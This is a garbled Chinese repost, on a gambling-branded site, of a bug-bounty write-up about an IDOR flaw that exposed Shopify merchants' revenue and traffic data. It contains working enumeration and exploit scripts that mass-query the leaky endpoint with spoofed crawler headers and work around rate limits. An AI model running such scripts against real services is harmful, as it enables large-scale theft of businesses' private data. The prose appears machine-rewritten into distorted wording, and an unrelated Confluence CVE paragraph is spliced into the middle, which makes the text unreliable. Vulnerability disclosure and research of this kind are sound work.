我是怎样取得数千家Shopify市肆的收入状况和流量数据? | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

申博_新闻事件 申博 149次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

简介

约莫一年前的时刻,我测试过Shopify,从那个时刻起,我就写了个剧本监控他家的资产,主若是跟踪新的api和url。几个月今后我收到一个新的关照:

> /shops/REDACTED/traffic_data.json
> /shops/REDACTED/revenue_data.json

老实说,我没有那末时候去搜检那末多的资产,每次有新的提示,我就花几个小时看看,重要照样靠自动化。

回到话题

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

这意味着末了一个api已从子域中删除,这是一个不错的提示,让我想深切相识发生了什么事情,并观察它被删除的缘由。

目的极有能够存在破绽

经由排查,REDACTED是一个市肆的名字,REDACTED .myshopify.com是市肆的链接,它在https://exchangemarketplace.com/shops/上面举行贩卖,别号是https://exchange.shopify.com

然后举行测试:

(sample data)
$ curl -s https://exchange.shopify.com/shops/$storeName/revenue_data.json
{"2018–03–01":102.81,"2018–04–01":13246.83,"2018–05–01":29865.84,"2018–06–01":45482.13,"2018–07–01":39927.62,"2018–08–01":25864.51,"2018–09–01":14072.72,"2018–10–01":2072.16,"2018–11–01":13544.78,"2018–12–01":26824.54,"2019–01–01":31570.89,"2019–02–01":18336.71}

显着走漏了目的的数据,api走漏的数据应当在内部才能够检察,暴露了市肆的数据:
我是怎样取得数千家Shopify市肆的收入状况和流量数据?

我发明用一个api走漏了另一家市肆的数据,这里能够一定存在IDOR破绽,也就是不平安的工具援用破绽,主若是经由历程替换$storeName的值去拿到数据。

以是,我想测试一下我自身竖立的市肆是不是也会有这个题目。

$ curl -I https://exchangemarketplace.com/shops/$newStore/revenue_data.json
HTTP/2 404
server: nginx/1.15.9
date: Fri, 29 Mar 2019 20:28:18 GMT
content-type: application/json
vary: Accept-Encoding
vary: Accept-Encoding
x-request-id: 106906213c97052838ccaaaa54d8e438

404?
我是怎样取得数千家Shopify市肆的收入状况和流量数据?

看来没我想的那末简朴,证据不充分,说是破绽一定要被疏忽的,那末只要经由历程大批的案例来证实我的料想。

第一个应战就是我们须要取得一个市肆名单。

进击历程:

  • 竖立一个wordlist,来源于storeName.myshopify.com
  • 然后轮回/shops/$storeName/revenue_data.json
  • 过滤出有破绽的域名
  • 剖析受影响的市肆以找出观察到的行动或破绽发生的根本缘由

取得 da wordlist

第一种要领是依据反查ip,取得一切A范例的DNS纪录。
疾速查询$storeName.myshopify.com的DNS纪录

; <<>> DiG 9.10.6 <<>> REDACTED.myshopify.com
<...>
REDACTED.myshopify.com. 3352 IN CNAME shops.myshopify.com.
shops.myshopify.com. 1091 IN A 23.227.38.64

以是REDACTED.myshopify.com的CNAME指向shops.myshopify.com,自身指向23.227.38.64,荣幸的事,没有反向署理waf,我用自身写的一个剧正本查询:

import requests
import json
import sys
import argparse


_strip = ['http://', 'https://', 'www']

G = '\033[92m'
Y = '\033[93m'
R = '\033[91m'
W = '\033[0m'
I = '\033[1;37;40m'


def args():
    parser = argparse.ArgumentParser()
    parser.add_argument('domain')
    return parser.parse_args()


def banner():
    print("""{}
 _____          _____ _____  
|  __ \        |_   _|  __ \ 
| |__) |_____   _| | | |__) |
|  _  // _ \ \ / / | |  ___/ 
| | \ \  __/\ V /| |_| |     
|_|  \_\___| \_/_____|_|   {}

    {} By @_ayoubfathi_{}
    """.format(Y, W, R, W))


#Domain validation

def clean(domain):
    for t in _strip:
        if t in domain:
            print("Usage: python revip.py domain.com")
            sys.exit()
        else:
            pass

# retrieving reverseip domains

def rev(dom):

    # YouGetSignal API Endpoint
    _api = "https://domains.yougetsignal.com/domains.php"

    # POST data
    _data = {'remoteAddress': dom}

    # Request Headers
    _headers = {
        'Host': "domains.yougetsignal.com",
        'Connection': "keep-alive",
                'Cache-Control': "no-cache",
                'Origin': "http://www.yougetsignal.com",
                'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/53.0.2785.143 Chrome/53.0.2785.143 Safari/537.36",
    }

    # Response
    try:
        response = requests.post(
            _api,
            headers=_headers,
            data=_data,
            timeout=7).content
        _json = json.loads(response)

        # parsing domains from response
        # if _json['status'] == 'Fail':
        #print("Daily reverse IP check limit reached")
        # sys.exit(1)
        content = _json['domainArray']
        print(
            "\033[33m\nTotal of domains found: {}\n---------------------------\033[0m\n".format(
                _json['domainCount']))
        for d, u in content:
            print("{}{}{}".format(W, d, W))
    except BaseException:
        print(
            "Usage: python revip.py domain.com\nThere is a problem with {}.".format(dom))


if __name__ == '__main__':
    domain = args().domain
    banner()
    clean(domain)
    rev(domain)

取得差不多1000个url

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

下面须要考证是不是存在破绽。

测试失利

我新写了一个剧本,重要卖力:

  • 将revip.py的输出效果传递给别的一个剧本。
  • 从每一个域名里提取相似.myshopify.com的url
  • 提取市肆名字
  • 自动化检测
/shops/$storeName/revenue_data.json

expoloit.py

import json
import requests
import bs4 as bs
from concurrent.futures import ThreadPoolExecutor
from concurrent.futures import ProcessPoolExecutor
try:
    import requests.packages.urllib3
    requests.packages.urllib3.disable_warnings()
except Exception:
    pass

_headers = {
    'User-Agent': 'Googlebot/2.1 (+http://www.google.com/bot.html)',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}


def myshopify(shops):
    try:
        source = requests.get("https://" + shops).text
        soup = bs.BeautifulSoup(source, 'html.parser')
        scripts = soup.find_all('script')
        for script in scripts:
            if 'window.Shopify.Checkout.apiHost' in script.text:
                index1 = script.text.index('"')
                index2 = script.text.index('myshopify')
                StoreName = script.text[index1 + 1:index2 - 2]
                with open('shops.txt', 'a') as output:
                    output.write(StoreName + "\n")
    except BaseException:
        pass


def almostvuln(StoreName):
    POC_URL = "https://exchangemarketplace.com/shops/{}/revenue_data.json".format(
        StoreName)
    try:
        _Response = requests.get(
            POC_URL,
            headers=_headers,
            verify=False,
            allow_redirects=True)
        if _Response.status_code in [200, 304]:
            vuln_stores.append(StoreName)
            print(StoreName)
        elif _Response.status_code == 404:
            pass
        else:
            print(_Response.status_code)
    except BaseException:
        pass
    return vuln_stores


if __name__ == '__main__':
    try:
        shops = [line.rstrip('\n') for line in open('wordlist.txt')]
        with ThreadPoolExecutor(max_workers=50) as executor:
            executor.map(myshopify, shops)
        vuln_stores = [line.rstrip('\n') for line in open('shops.txt')]
        with ThreadPoolExecutor(max_workers=50) as executor1:
            executor1.map(almostvuln, vuln_stores)

    except KeyboardInterrupt:
        print("")

运转后的效果

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

WTF?
我是怎样取得数千家Shopify市肆的收入状况和流量数据?

因而,在1000家市肆中,我只能识别出四家市肆有题目,个中三家在交易市场上市,因而估计他们的贩卖数据会公然的,一家市肆已被停用了(这么Lucky的吗,嗯?)

因而,我以为这玩意没有任何平安影响,我住手了几周的测试(对照忙),并决议过阵子返来探究更多的能够性并继承发掘。

一千年今后……

几周今后,我又回到了上面提到的API要求并最先继承研讨它。我没法从中猎取任何有效的信息,因而我决议接纳分歧的要领来处置惩罚这个题目。

为了取得更多要剖析的数据,我们将从1000个市肆的测试切换到更大的样本(数千,数百万),下一节将细致引见新要领。

新的思绪

怎样找到一切现有Shopify市肆的最好体式格局?

我想到的第一件事是扫描互联网,然则当我们有其他数据时,就能够不消这么贫苦。

Confluence downloadallattachments途径穿越破绽(CVE-2019-3398 )

漏洞描述: Confluence Server和Data Center在downloadallattachments资源中存在路径穿越漏洞。 在Page或Blogs具有添加附件权限的用户,或具有创建新空间或个人空间权限的用户,或对某空间具有“管理员”权限的用户可利用此路径穿越漏洞

关于这项特定的研讨,我将运用大众的DNS转发数据。运用此要领,我们不须要从给定的域名列表天生市肆称号。相反,我们将运用FDNS猎取shops.myshopify.com(一切市肆的指向)的反向CNAME纪录
ps:FDNS就是DNS转发
我运用了一个规格很大的实例然后下载了这项研讨所须要的数据。

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

如今,我们将寻觅与shops.myshopify.com婚配的CNAME纪录,个中Shopify正在托管他们的市肆。

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

在搜检有若干市肆可用时,我发明:

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

圆满!

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

此时,我们已完成了wordlist,继承运用前面的exploit.py。

Exploit

import json
import requests
import bs4 as bs
from concurrent.futures import ThreadPoolExecutor
from concurrent.futures import ProcessPoolExecutor
try:
    import requests.packages.urllib3
    requests.packages.urllib3.disable_warnings()
except Exception:
    pass

_headers = {
    'User-Agent': 'Googlebot/2.1 (+http://www.google.com/bot.html)',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}


def myshopify(shops):
    try:
        source = requests.get("https://" + shops).text
        soup = bs.BeautifulSoup(source, 'html.parser')
        scripts = soup.find_all('script')
        for script in scripts:
            if 'window.Shopify.Checkout.apiHost' in script.text:
                index1 = script.text.index('"')
                index2 = script.text.index('myshopify')
                StoreName = script.text[index1 + 1:index2 - 2]
                with open('shops.txt', 'a') as output:
                    output.write(StoreName + "\n")
    except BaseException:
        pass


def almostvuln(StoreName):
    POC_URL = "https://exchangemarketplace.com/shops/{}/revenue_data.json".format(
        StoreName)
    try:
        _Response = requests.get(
            POC_URL,
            headers=_headers,
            verify=False,
            allow_redirects=True)
        if _Response.status_code in [200, 304]:
            vuln_stores.append(StoreName)
            print(StoreName)
        elif _Response.status_code == 404:
            pass
        else:
            print(_Response.status_code)
    except BaseException:
        pass
    return vuln_stores


if __name__ == '__main__':
    try:
        shops = [line.rstrip('\n') for line in open('wordlist.txt')]
        with ThreadPoolExecutor(max_workers=50) as executor:
            executor.map(myshopify, shops)
        vuln_stores = [line.rstrip('\n') for line in open('shops.txt')]
        with ThreadPoolExecutor(max_workers=50) as executor1:
            executor1.map(almostvuln, vuln_stores)

    except KeyboardInterrupt:
        print("")

然后放到VPS上,由于wordlist对照大,我可不想傻傻的等,我也要睡觉的.

约莫一个小时试着睡觉……

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

这个图对照实在…

我摒弃了睡觉的设法主意并马上翻开我的电脑,登录到我的vps,我看到的是数以千计的403毛病.

我预测应当是被ban ip了
我是怎样取得数千家Shopify市肆的收入状况和流量数据?

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

有WAF…..

不管了,先去睡觉.

然后我又写了一个剧正本测试.

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

这基础大将800K家市肆称号作为输入(stores-exchange.txt),发送到curl要求以检索贩卖数据,在将数据打印到stdout之前,将运用DAP库在同一个JSON相应中插进去市肆称号。

此次我们的剧本会很慢,由于你晓得bash是单线程的,这是我们能够绕过速率限定战略的独一要领,我运转剧本并从我的实例中注销…

几天后,我从新登录我的实例搜检效果,look:

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

我是怎样取得数千家Shopify市肆的收入状况和流量数据?
我们猎取了Shopify商家的贩卖数据,个中包孕从2015年到本日每个月数千家市肆的收入细节。

我们有存在破绽的市肆名单,以是若是我们像查询谁的话,我能够看到他一切的收入细节.
我是怎样取得数千家Shopify市肆的收入状况和流量数据?

这是Shopify商家从2015年至今的贩卖数据。
我是怎样取得数千家Shopify市肆的收入状况和流量数据?

依据CVSS 3.0,此次的发明的得分为7.5-high,这反应了破绽,客户流量和收入数据的重要性,这个中并不须要任何特权或用户交互来猎取信息。
我是怎样取得数千家Shopify市肆的收入状况和流量数据?

根本缘由剖析

基于以上数据和几天的研讨,我得出的结论是,这是由Shopify Exchange App(如今是由商家主动去运用)引发的,这个应用顺序仅在此破绽涌现前几个月才推出。任何安装了Exchange App的商家都邑遭到这个进击。

今后,我迅速将一切信息和数据汇总到申报中,提交给Shopify 的bug bounty.

Wing碎碎念:在提交破绽历程当中,这个作者和Shopify 彷佛有点争论,能够是由于违反了他们的划定,效果是好的就行,渗入途径千万条,平安律例心中记.

我是怎样取得数千家Shopify市肆的收入状况和流量数据?

末了,谢谢Shopify团队,特别谢谢Peter Yaworski,异常乐于助人和支撑我。我依然强烈建议他们继承对顺序举行平安测试,由于他们处置惩罚破绽申报的速率很快.

Nginx配置不当可能导致的安全问题

Nginx配置不当可能导致的安全问题 Auther: Spark1e 目前很多网站使用了nginx或者tenginx(淘宝基于Nginx研发的web服务器)来做反向代理和静态服务器,ningx的配置文件nginx.conf的一些错误配置可能引发一些安全问题。要了解这些问题,我


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明我是怎样取得数千家Shopify市肆的收入状况和流量数据?
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址